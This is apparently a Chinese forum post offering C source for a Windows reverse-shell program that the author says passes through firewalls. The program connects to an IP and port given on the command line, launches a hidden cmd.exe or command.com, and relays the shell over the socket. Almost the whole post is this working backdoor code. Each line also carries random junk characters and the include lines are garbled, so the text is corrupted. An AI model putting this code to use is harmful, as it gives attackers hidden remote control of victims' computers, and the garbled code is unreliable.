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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8j;Un]  
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/* ============================== ~jL%l  
Rebound port in Windows NT a$|U4Eqo  
By wind,2006/7 GMJ4v S  
===============================*/ x6`mv8~9Db  
#include A:< %>  
#include VKl,m ;&N  
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#pragma comment(lib,"wsock32.lib") -}%J3j|R:  
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void OutputShell(); ot<d FvD  
SOCKET sClient; :oZ<[#p"*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BQ0?B*yqd  
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void main(int argc,char **argv) = g{I`u  
{ :awkhx  
WSADATA stWsaData; U`q keNd  
int nRet; vHf)gi}O|  
SOCKADDR_IN stSaiClient,stSaiServer; p75o1RU  
d <}'eBT'  
if(argc != 3) rJ Jx8)M  
{ Ab ,^y  
printf("Useage:\n\rRebound DestIP DestPort\n"); xn3 _ ED  
return; &#2&V>pE  
} DzGUKJh6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); K5qCPt`'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &YXJ{<s  
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stSaiClient.sin_family = AF_INET; fs ufYIf  
stSaiClient.sin_port = htons(0); I1fpX |  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1Z}5ykM3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [h3xW  
{ Ljd`)+`D  
printf("Bind Socket Failed!\n"); Cq2Wpu-u  
return; !1)aie+p6  
} vUpAW[[  
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stSaiServer.sin_family = AF_INET; ln82pQD2Y~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >$ZG=&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ({!!b"B2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !rUP&DA  
{ \1<'XVS  
printf("Connect Error!"); OBAO(Ke  
return; @)U.Dbm  
} j*DPW)RkKX  
OutputShell(); GY]P(NU  
} N1~bp?$1  
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void OutputShell() {fXkbMO|  
{ 1q7&WG  
char szBuff[1024]; [Fr](&Tx  
SECURITY_ATTRIBUTES stSecurityAttributes; &42 ]#B"*  
OSVERSIONINFO stOsversionInfo; i|^Q{3?o#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9z#8K zXg  
STARTUPINFO stStartupInfo; b&rBWp0#  
char *szShell; ,clbD4  
PROCESS_INFORMATION stProcessInformation; E`fG9:6l]  
unsigned long lBytesRead; P=n_wE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WN'AQ~qA  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M|DMoi8x  
stSecurityAttributes.lpSecurityDescriptor = 0; ZexC3LD"  
stSecurityAttributes.bInheritHandle = TRUE; :'p)xw4K|  
7%^G ]AFi  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =<n ]T;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W;OGdAa_  
v}$Q   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A^OwT#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o,rF15  
stStartupInfo.wShowWindow = SW_HIDE; egq,)6>  
stStartupInfo.hStdInput = hReadPipe; Jh\KVmfXN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o[!'JUxZ  
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GetVersionEx(&stOsversionInfo); ^Hn}\5  
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switch(stOsversionInfo.dwPlatformId) }QI \K  
{ [K4cxqlfk  
case 1: x $LCLP#$H  
szShell = "command.com"; xv]z>4@z,  
break; *u$aItx  
default: 1TZ[i  
szShell = "cmd.exe"; rp@:i _]  
break; qR@ES J_  
} iV{_?f1jo  
!BoGSI  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e4YfJd  
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send(sClient,szMsg,77,0); s-CAo~,  
while(1) Gld~GyB\k  
{ /4r2B. 91O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K&[0`sH!  
if(lBytesRead) p\[!=ZXFr\  
{  7UBDd1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H1-DK+Q:  
send(sClient,szBuff,lBytesRead,0); ?T/4 =  
} gN/!w:  
else  P@O_MT  
{ MXSD8]je  
lBytesRead=recv(sClient,szBuff,1024,0); .F ?ww}2p]  
if(lBytesRead<=0) break; :%gc Sm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .<t{saToU  
} (XOz_K6c%K  
} oRbWqN`F.  
L\4rvZa  
return; ^JY {<   
}
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